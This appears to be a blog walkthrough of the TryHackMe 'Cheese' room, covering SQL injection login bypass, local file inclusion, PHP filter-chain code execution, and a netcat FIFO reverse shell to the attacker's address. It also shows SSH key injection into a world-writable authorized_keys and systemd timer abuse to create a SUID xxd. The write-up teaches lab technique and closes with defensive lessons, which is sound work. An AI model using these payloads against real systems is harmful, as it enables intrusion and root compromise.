Cheese CTF

Cheese CTF — TryHackMe Walkthrough

6/30/202613 min read

Introduction

Cheese is a Linux-based room on TryHackMe that strings together several classic web application weaknesses into a single, coherent attack chain. Rather than relying on one flashy exploit, the box rewards methodical enumeration: a vulnerable login form opens the door, a file inclusion bug turns into code execution, a careless file permission grants user access, and a broken systemd timer hands over root. None of the individual steps are exotic on their own, but the way they connect is a good illustration of how real-world compromises tend to happen — through a sequence of small oversights rather than a single catastrophic flaw.

This write-up walks through the full attack path in the order I actually worked through it, including the dead ends, the wrong turns, and the reasoning behind each pivot. My goal is not just to list commands, but to explain why each step was taken and what it revealed about the target.

Objectives

  • Perform reconnaissance against the target machine

  • Identify and exploit a web application vulnerability to gain a foothold

  • Escalate that foothold into command execution

  • Obtain a stable shell and pivot to a low-privileged user account

  • Capture the user flag

  • Escalate privileges to root

  • Capture the root flag

Tools Used

  • Nmap — port and service discovery

  • feroxbuster / ffuf — content and parameter fuzzing

  • curl — manual HTTP requests and payload delivery

  • php_filter_chain_generator — converting LFI into RCE via PHP filter chains

  • netcat — catching the reverse shell

  • SSH — pivoting to a user account

  • systemctl — inspecting and abusing a systemd timer/service pair

  • xxd — reading the root flag through an abused SUID binary

Target Information

  • Target IP: 10.x.x.x (TryHackMe VPN-assigned address)

Section 1 — Reconnaissance

Every engagement starts with mapping out what's actually reachable on the host, so the first move was a SYN scan across the full port range:

nmap -sS -p- 10.x.x.x

The result was unusual: an enormous number of ports came back as "open." In a real environment this could mean a genuinely sprawling service footprint, but on a CTF box it's much more likely to be noise — either a port-scanning honeypot response, a misconfigured firewall echoing every probe as open, or a deliberate distraction built into the room. Rather than burning time fingerprinting dozens of probably-fake services, I treated the scan results with suspicion and pivoted toward something more concrete: the web application that was clearly running on port 80.

This is a useful habit in CTF and real-world engagements alike — when a scan result looks too good (or too strange) to be true, don't chase it blindly. Validate it against a second, more targeted approach before committing time to it.

With the web service confirmed, I ran a content discovery scan to map out the directory structure and find anything that wasn't linked from the homepage:

feroxbuster -u http://10.x.x.x -w /usr/share/dirb/wordlists/common.txt -x php,txt,html

This surfaced a handful of PHP files and static pages that weren't visible from casual browsing. Loading the site in a browser confirmed the obvious next target: a visible Login link on the homepage. Clicking through to the login page made it clear that authentication was the primary attack surface — there was no registration flow, no obvious API, and no other interactive functionality on the site. Everything pointed toward the login form being the place to focus.

Section 2 — Authentication Bypass via SQL Injection

Before automating anything, I did a quick manual sanity check by submitting a single quote (') into the username field. The application responded with its normal "invalid credentials" message rather than an error page or stack trace — not conclusive on its own, but not a dead end either, since plenty of vulnerable forms fail gracefully even when the underlying query is broken.

To get a clearer signal, I fuzzed the username parameter with a list of common SQL injection bypass payloads:

ffuf -w /usr/share/seclists/Fuzzing/login_bypass.txt \ -u http://10.x.x.x/login.php \ -X POST \ -d "username=FUZZ&password=test" \ -H "Content-Type: application/x-www-form-urlencoded" \ -mc all

Most payloads produced an identical response size and status code, which is what you'd expect from a form that's properly rejecting bad input. A small subset, however, returned 302 redirects — a strong indicator of a successful login, since a redirect to a dashboard or admin page is the typical behavior after authentication succeeds.

One of the working payloads was:

' OR 'x'='x'#;

I tried it directly against the login form:

  • Username: ' OR 'x'='x'#;

  • Password: test (value doesn't matter once the WHERE clause is neutralized)

The payload works by closing the intended string literal in the SQL query, injecting an always-true condition ('x'='x'), and then commenting out the rest of the query with #, which prevents the password check from ever being evaluated. The application redirected me straight into the authenticated area, confirming that the login form built its SQL query through raw string concatenation rather than parameterized queries.

After the redirect, I landed on:

secret-script.php?file=supersecretadminpanel.html

The admin panel itself was underwhelming at first glance — the Users page showed nothing but a bare heading, and a Messages section didn't reveal anything obviously sensitive. It would have been easy to conclude the panel was just decorative. But the URL structure was the real tell: the page content was being loaded dynamically through a file= GET parameter, which is a strong signal that something more interesting was happening behind the scenes than what the rendered page showed.

Section 3 — Local File Inclusion (LFI)

Any time an application loads content based on a value the user controls in the URL, it's worth testing whether that value is being validated at all. I substituted the file parameter with a path traversal sequence aimed at a predictable, sensitive file:

http://10.x.x.x/secret-script.php?file=../../../../../../etc/passwd

The server happily returned the full contents of /etc/passwd. That confirmed two things at once: first, that the parameter wasn't being sanitized for directory traversal sequences, and second, that the script was including files based on the literal value passed in, rather than restricting access to a fixed set of known templates.

This kind of bug is dangerous not just because it leaks files, but because of what it implies about how the file is being loaded internally. If the application is using a PHP function like include() or require() rather than something safer like readfile(), then any file that can be coerced into containing PHP code — or any PHP wrapper that can simulate one — becomes a potential code execution vector. That possibility was worth confirming directly, which meant getting a look at the actual source code of the vulnerable script.

Section 4 — Reading the Application Source Code

Trying to view secret-script.php directly through the file parameter wouldn't work the normal way, since the web server would execute the PHP rather than display its source. To get around that, I used PHP's php://filter stream wrapper, which can apply a transformation — in this case, Base64 encoding — to a file's contents before it gets passed to include(). Encoding it as Base64 prevents the PHP interpreter from recognizing it as executable code, so instead of running the script, the server just hands back the encoded text.

http://10.x.x.x/secret-script.php?file=php://filter/convert.base64-encode/resource=secret-script.php

The response was a long Base64 blob. Decoding it locally revealed the actual logic behind the admin panel:

include($file);

That single line was the entire vulnerability. There was no whitelist of allowed filenames, no check that $file pointed somewhere inside a safe directory, and no filtering of wrapper schemes like php:// or data://. Any value passed through the file GET parameter went directly into include(). Combined with the earlier confirmation that path traversal worked, this meant the application was wide open not just to reading arbitrary files, but potentially to executing arbitrary PHP — provided I could get PHP code into a form that include() would actually run rather than just display.

Section 5 — From LFI to Remote Code Execution

The most direct route from an include()-based LFI to code execution is usually log poisoning or wrapper abuse. I first tried a quick test using the data:// wrapper to see if inline PHP would execute, but it didn't return any command output — likely due to allow_url_include being disabled or the wrapper being filtered in some way.

Rather than spending more time guessing at wrapper restrictions, I switched to a more reliable technique: PHP filter chains. This approach abuses chains of php://filter conversion filters (character set conversions, compression filters, etc.) applied repeatedly to a base string, manipulating the bytes until they form valid PHP code as a side effect of the conversions. It sounds exotic, but the technique has been automated by the php_filter_chain_generator tool, which builds the chain for you given a target PHP payload.

git clone https://github.com/synacktiv/php_filter_chain_generator.git cd php_filter_chain_generator python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'

The tool generated a long, unwieldy php://filter/... string. I passed that directly as the value of the file parameter:

payload='php://filter/...' curl -G --output - 'http://10.x.x.x/secret-script.php' \ --data-urlencode "file=$payload"

The response confirmed command execution:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

This was the turning point of the engagement — the LFI had been escalated into full remote code execution, running in the context of the web server's www-data account. From here, the focus shifted from "can I run a command" to "how do I turn this into a usable, interactive shell."

Section 6 — Catching a Reverse Shell

Before generating a reverse shell payload, I set up a Netcat listener on my attacking machine to catch the incoming connection:

nc -lvnp 4444

One detail that's easy to overlook, especially when switching between TryHackMe's AttackBox and a local Kali VM connected over OpenVPN, is making sure the reverse shell payload points at the correct interface. The target machine can only reach me through the VPN tunnel, not through my local LAN or NAT address, so I double-checked which IP my tun0 interface had been assigned before building the payload:

ip a | grep tun0

With the correct IP in hand, I generated a filter-chain payload containing a reverse shell one-liner. My first attempt used a simple nc -e style command, but that failed — likely because the target's netcat build didn't support the -e flag for executing a shell directly. I fell back to the more portable FIFO-based reverse shell pattern, which works across nearly any /bin/sh-compatible system:

python3 php_filter_chain_generator.py --chain \ '<?php system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.x.x 4444 >/tmp/f"); ?>'

I captured the generated payload and delivered it the same way as before:

payload=$(python3 php_filter_chain_generator.py --chain \ '<?php system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.x.x 4444 >/tmp/f"); ?>' \ | tail -n 1) curl -s -G 'http://10.x.x.x/secret-script.php' \ --data-urlencode "file=$payload" > /dev/null

A few seconds later, my listener caught the connection. The shell landed as www-data, running from /var/www/html — confirmation that the request had actually executed inside the web application's own working directory, exactly where I'd expect given how the LFI/RCE chain worked. With a stable shell in hand, the next phase was local enumeration to find a path off the web server account and onto a real user.

Section 7 — Hunting for Credentials

With shell access established, the natural next step was to look for anything hardcoded into the application's source that might reveal database credentials, API keys, or other reusable secrets. A broad recursive grep across the web root turned up something useful almost immediately:

grep -Rni "pass\|password\|user\|admin\|secret\|token" /var/www/html 2>/dev/null

Buried inside login.php were hardcoded database credentials:

$user = "[REDACTED]"; $password = "[REDACTED]";

The same search also surfaced references to other files already encountered during the engagement — secret-script.php, supersecretadminpanel.html, and a string referencing supersecretmessageforadmin — suggesting the application's developer had a habit of stashing things behind obscure filenames rather than proper access controls.

It was tempting to assume these credentials would unlock a system account directly, but testing them against su for the obvious local username failed. On reflection, this made sense: the credentials were scoped to the backend MySQL connection used by the PHP application, not to any actual Linux user account. They were still a useful lead — strong evidence that there was a real backend database to explore further — but they weren't the direct route to user access I'd hoped for. That meant going back to enumerating the filesystem for a different kind of weakness.

Section 8 — User Access via SSH Key Injection

With credential reuse ruled out, I turned to checking file and directory permissions under /home, since misconfigured ownership or world-writable files are a common privilege escalation vector on intentionally vulnerable boxes.

ls -ld /home/[REDACTED]/.ssh /home/ubuntu/.ssh ls -l /home/[REDACTED]/.ssh /home/ubuntu/.ssh find /home -name authorized_keys -ls 2>/dev/null

The ubuntu user's .ssh directory wasn't accessible from the www-data context, but the search turned up something far more interesting under the other home directory: authorized_keys had permissions of -rw-rw-rw- — world-writable. That's effectively an open door. Any local user, including the low-privileged web server account, can append an arbitrary public key to that file and gain SSH access as the file's owner without ever needing their password.

On my attacking machine, I generated a fresh SSH key pair dedicated to this engagement:

ssh-keygen -t rsa -b 4096 -f cheese_key -N "" cat cheese_key.pub

Back on the reverse shell, I appended the public key to the writable authorized_keys file:

echo 'ssh-rsa AAAA... kali@kali' >> /home/[REDACTED]/.ssh/authorized_keys tail -n 1 /home/[REDACTED]/.ssh/authorized_keys

With the key in place, I connected directly over SSH using the matching private key:

ssh -i cheese_key [REDACTED]@10.x.x.x

This dropped me into a proper interactive shell as the target user — no password guessing, no credential reuse, just a straightforward abuse of a permission that should never have been set that loosely in the first place.

Section 9 — Capturing the User Flag

Once authenticated over SSH, I confirmed the session and located the flag:

whoami ls cat user.txt

The output confirmed the active user and revealed the flag sitting in the home directory:

THM{9f2ce3df1beeecaf...redacted}

With user-level access secured, attention turned to privilege escalation — specifically, what this account was allowed to do as a higher-privileged user via sudo.

Section 10 — Privilege Escalation to Root

The standard first move on any freshly obtained shell is checking sudo permissions:

sudo -l

The output showed that the current user could run the following commands as root, without needing a password:

/bin/systemctl daemon-reload /bin/systemctl restart exploit.timer /bin/systemctl start exploit.timer /bin/systemctl enable exploit.timer

The naming alone — exploit.timer — was a strong hint that this was the intended escalation path. Systemd timer units work in tandem with a matching .service unit: the timer defines when something runs, and the service defines what runs. I inspected both:

systemctl cat exploit.timer systemctl cat exploit.service cat /etc/systemd/system/exploit.timer cat /etc/systemd/system/exploit.service

The service file contained:

ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

In other words, if this service ever ran as root, it would copy the xxd binary to /opt/xxd and set the SUID bit on it — instantly creating a root-owned SUID binary that any user could execute with root privileges. The catch was that the timer unit was broken: its OnBootSec= directive was empty, meaning it had no actual trigger condition and would never fire on its own.

Checking permissions on the unit files revealed the second half of the vulnerability:

ls -l /etc/systemd/system/exploit.timer /etc/systemd/system/exploit.service

exploit.timer itself was world-writable. Since I already had sudo rights to reload and restart the timer as root, all that was missing was a valid trigger condition — and nothing stopped me from simply writing one myself.

I overwrote the broken timer with a working configuration:

cat > /etc/systemd/system/exploit.timer << 'EOF' [Unit] Description=Exploit Timer [Timer] OnBootSec=1sec Unit=exploit.service [Install] WantedBy=timers.target EOF

Then reloaded the systemd daemon and started the timer using the permitted sudo commands:

sudo systemctl daemon-reload sudo systemctl start exploit.timer sleep 2 ls -l /opt/xxd

A couple of seconds later, /opt/xxd appeared on disk, owned by root and flagged with the SUID bit — exactly as the service file had promised.

Section 11 — Capturing the Root Flag

With a root-owned, SUID-flagged copy of xxd sitting in /opt, I had an unusual but effective path to reading any file on the system as root, without ever needing a full root shell. xxd is normally a harmless hex-dump utility, but because it had inherited root's privileges via the SUID bit, any file it opened — including ones the current user couldn't otherwise read — would be processed with root's permissions.

I confirmed the permissions first:

ls -l /opt/xxd

Then used it to dump the root flag as a hex stream and immediately reverse the conversion back into plain text:

/opt/xxd /root/root.txt | /opt/xxd -r

This produced the root flag directly in the terminal:

THM{{dca75486094810807fa...redacted}

The escalation chain was complete: from an unauthenticated login form, through SQL injection, LFI, RCE, a writable SSH key file, and finally a misconfigured systemd timer abused for SUID binary creation.

Section 12 — Lessons Learned

What makes Cheese a worthwhile room isn't any single exploit — every technique used here is well documented and individually fairly basic. What makes it interesting is how cleanly each small weakness fed into the next, forming a complete attack chain out of issues that, in isolation, might each have seemed low-risk.

A few takeaways worth keeping in mind:

Authentication logic has to be airtight. A login form built on string-concatenated SQL queries doesn't just risk data exposure — it can hand over the keys to the entire application with a single crafted input.

User-controlled input should never reach include() or require() unfiltered. The LFI here wasn't subtle; it was a direct consequence of trusting a GET parameter to specify a filesystem path. A simple whitelist of allowed values would have closed this off entirely.

Reading source code changes the shape of an attack. Once the LFI let me view the PHP behind the admin panel, the path to RCE became obvious rather than speculative. Whenever an application exposes file contents, assume an attacker will use that access to study the code itself, not just to read configuration files.

Hardcoded credentials are a liability even when "scoped" to a backend service. They didn't grant direct user access in this case, but they confirmed the presence of a database layer and gave useful context for further enumeration — information that should never have been sitting in plaintext inside a web-accessible file in the first place.

File permissions matter more than they're given credit for. A world-writable authorized_keys file turned a low-privileged web shell into full SSH access for a real user account, no password cracking required.

sudo rules need to be evaluated holistically, not command-by-command. Granting passwordless control over systemctl for a specific unit looks narrow and safe in isolation, but if the unit's configuration files are themselves writable by the same user, the restriction is illusory — the attacker can simply rewrite what the "safe" command does before running it.

Even a "harmless" utility becomes dangerous with the SUID bit set. xxd has no business needing root privileges, but once it had them, it became a fully functional arbitrary file reader for a low-privileged user.

Overall, Cheese is a strong demonstration of defense in depth — or rather, what happens in its absence. No single fix would have stopped this entire chain; closing any one of the six or seven weaknesses involved would have broken the path to root, but all of them being present simultaneously is what made the box completable end to end. That's a useful mental model to carry into real-world security reviews: looking for one big vulnerability is often less productive than looking for a handful of small, connected ones.

Contact

Questions or tips? Reach out anytime.

Email

info@kaylacyberlabs.com

© 2026. All rights reserved.